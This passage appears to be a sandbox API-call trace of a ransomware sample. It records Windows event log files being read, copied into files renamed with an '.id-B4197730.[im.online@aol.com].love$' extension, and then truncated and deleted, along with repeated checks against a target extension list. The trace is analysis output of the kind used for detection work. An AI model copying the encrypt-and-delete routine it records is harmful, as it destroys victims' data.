hTemplateFile=0x0) returned 0x318 [0121.648] GetLastError () returned 0x0 [0121.648] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.994] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.997] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.997] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x168, lpOverlapped=0x0) returned 1 [0121.997] SetEndOfFile (hFile=0x318) returned 1 [0122.507] CloseHandle (hObject=0x318) returned 1 [0122.512] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.512] SetEndOfFile (hFile=0x344) returned 1 [0122.514] CloseHandle (hObject=0x344) returned 1 [0122.515] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.515] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0122.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0122.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0122.516] lstrlenW (lpString=".doc") returned 4 [0122.516] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.516] lstrlenW (lpString=".docx") returned 5 [0122.516] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.516] lstrlenW (lpString=".pdf") returned 4 [0122.516] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.516] lstrlenW (lpString=".xls") returned 4 [0122.516] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.516] lstrlenW (lpString=".xlsx") returned 5 [0122.516] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.516] lstrlenW (lpString=".ppt") returned 4 [0122.516] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0122.516] lstrlenW (lpString=".zip") returned 4 [0122.516] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.516] lstrlenW (lpString=".rar") returned 4 [0122.516] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.516] lstrlenW (lpString=".bz2") returned 4 [0122.516] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.516] lstrlenW (lpString=".7z") returned 3 [0122.517] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0122.517] lstrlenW (lpString=".dbf") returned 4 [0122.517] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0122.517] lstrlenW (lpString=".1cd") returned 4 [0122.517] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0122.517] lstrlenW (lpString=".jpg") returned 4 [0122.517] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0122.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0122.517] lstrlenW (lpString=".doc") returned 4 [0122.517] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.517] lstrlenW (lpString=".docx") returned 5 [0122.517] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.517] lstrlenW (lpString=".pdf") returned 4 [0122.517] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.517] lstrlenW (lpString=".xls") returned 4 [0122.517] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.517] lstrlenW (lpString=".xlsx") returned 5 [0122.517] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.518] lstrlenW (lpString=".ppt") returned 4 [0122.518] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0122.518] lstrlenW (lpString=".zip") returned 4 [0122.518] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.518] lstrlenW (lpString=".rar") returned 4 [0122.518] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.518] lstrlenW (lpString=".bz2") returned 4 [0122.518] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.518] lstrlenW (lpString=".7z") returned 3 [0122.518] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0122.518] lstrlenW (lpString=".dbf") returned 4 [0122.519] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.519] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0122.519] lstrlenW (lpString=".1cd") returned 4 [0122.519] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.519] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0122.519] lstrlenW (lpString=".jpg") returned 4 [0122.519] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.519] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0122.519] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47 [0122.519] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0122.520] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0122.520] CloseHandle (hObject=0x344) returned 1 [0122.520] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0122.520] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.520] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0122.520] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.520] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.520] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0122.521] GetLastError () returned 0x0 [0122.521] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.574] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.577] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.577] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x132, lpOverlapped=0x0) returned 1 [0122.577] SetEndOfFile (hFile=0x318) returned 1 [0122.577] CloseHandle (hObject=0x318) returned 1 [0122.621] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.621] SetEndOfFile (hFile=0x344) returned 1 [0122.623] CloseHandle (hObject=0x344) returned 1 [0122.623] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.623] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0122.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0122.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0122.624] lstrlenW (lpString=".doc") returned 4 [0122.624] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.624] lstrlenW (lpString=".docx") returned 5 [0122.624] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.624] lstrlenW (lpString=".pdf") returned 4 [0122.624] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.624] lstrlenW (lpString=".xls") returned 4 [0122.624] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.624] lstrlenW (lpString=".xlsx") returned 5 [0122.624] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.624] lstrlenW (lpString=".ppt") returned 4 [0122.624] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0122.624] lstrlenW (lpString=".zip") returned 4 [0122.624] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.624] lstrlenW (lpString=".rar") returned 4 [0122.624] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.624] lstrlenW (lpString=".bz2") returned 4 [0122.624] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.624] lstrlenW (lpString=".7z") returned 3 [0122.624] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0122.624] lstrlenW (lpString=".dbf") returned 4 [0122.624] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0122.625] lstrlenW (lpString=".1cd") returned 4 [0122.625] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0122.625] lstrlenW (lpString=".jpg") returned 4 [0122.625] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0122.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0122.625] lstrlenW (lpString=".doc") returned 4 [0122.625] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.625] lstrlenW (lpString=".docx") returned 5 [0122.625] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.625] lstrlenW (lpString=".pdf") returned 4 [0122.625] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.625] lstrlenW (lpString=".xls") returned 4 [0122.625] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.625] lstrlenW (lpString=".xlsx") returned 5 [0122.625] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.625] lstrlenW (lpString=".ppt") returned 4 [0122.625] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0122.625] lstrlenW (lpString=".zip") returned 4 [0122.625] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.625] lstrlenW (lpString=".rar") returned 4 [0122.625] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.625] lstrlenW (lpString=".bz2") returned 4 [0122.625] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.625] lstrlenW (lpString=".7z") returned 3 [0122.625] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0122.626] lstrlenW (lpString=".dbf") returned 4 [0122.626] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.626] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0122.626] lstrlenW (lpString=".1cd") returned 4 [0122.626] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.626] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0122.626] lstrlenW (lpString=".jpg") returned 4 [0122.626] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.626] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0122.626] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46 [0122.626] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0122.627] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0122.627] CloseHandle (hObject=0x344) returned 1 [0122.627] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0122.627] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.627] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0122.627] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.627] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.639] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0122.640] GetLastError () returned 0x0 [0122.640] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.707] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.709] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.710] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x130, lpOverlapped=0x0) returned 1 [0122.710] SetEndOfFile (hFile=0x318) returned 1 [0122.710] CloseHandle (hObject=0x318) returned 1 [0122.716] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.716] SetEndOfFile (hFile=0x344) returned 1 [0122.718] CloseHandle (hObject=0x344) returned 1 [0122.718] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.719] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0122.770] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0122.770] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0122.771] lstrlenW (lpString=".doc") returned 4 [0122.771] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.771] lstrlenW (lpString=".docx") returned 5 [0122.788] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.788] lstrlenW (lpString=".pdf") returned 4 [0122.789] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.789] lstrlenW (lpString=".xls") returned 4 [0122.789] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.789] lstrlenW (lpString=".xlsx") returned 5 [0122.789] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.789] lstrlenW (lpString=".ppt") returned 4 [0122.789] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0122.789] lstrlenW (lpString=".zip") returned 4 [0122.789] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.789] lstrlenW (lpString=".rar") returned 4 [0122.789] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.789] lstrlenW (lpString=".bz2") returned 4 [0122.789] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.789] lstrlenW (lpString=".7z") returned 3 [0122.789] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0122.789] lstrlenW (lpString=".dbf") returned 4 [0122.789] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0122.789] lstrlenW (lpString=".1cd") returned 4 [0122.789] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0122.789] lstrlenW (lpString=".jpg") returned 4 [0122.789] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0122.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0122.790] lstrlenW (lpString=".doc") returned 4 [0122.790] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.790] lstrlenW (lpString=".docx") returned 5 [0122.790] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.790] lstrlenW (lpString=".pdf") returned 4 [0122.790] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.790] lstrlenW (lpString=".xls") returned 4 [0122.790] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.790] lstrlenW (lpString=".xlsx") returned 5 [0122.790] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.790] lstrlenW (lpString=".ppt") returned 4 [0122.790] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0122.790] lstrlenW (lpString=".zip") returned 4 [0122.790] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.790] lstrlenW (lpString=".rar") returned 4 [0122.790] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.790] lstrlenW (lpString=".bz2") returned 4 [0122.790] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.790] lstrlenW (lpString=".7z") returned 3 [0122.790] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0122.790] lstrlenW (lpString=".dbf") returned 4 [0122.790] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0122.790] lstrlenW (lpString=".1cd") returned 4 [0122.790] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0122.791] lstrlenW (lpString=".jpg") returned 4 [0122.791] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.791] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0122.791] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45 [0122.791] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0122.791] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0122.791] CloseHandle (hObject=0x318) returned 1 [0122.791] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0122.792] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.792] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0122.792] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.792] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.792] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0122.793] GetLastError () returned 0x0 [0122.793] ReadFile (in: hFile=0x318, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.817] WriteFile (in: hFile=0x380, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.820] ReadFile (in: hFile=0x318, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.820] WriteFile (in: hFile=0x380, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x12e, lpOverlapped=0x0) returned 1 [0122.820] SetEndOfFile (hFile=0x380) returned 1 [0122.821] CloseHandle (hObject=0x380) returned 1 [0122.827] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.827] SetEndOfFile (hFile=0x318) returned 1 [0122.828] CloseHandle (hObject=0x318) returned 1 [0122.829] 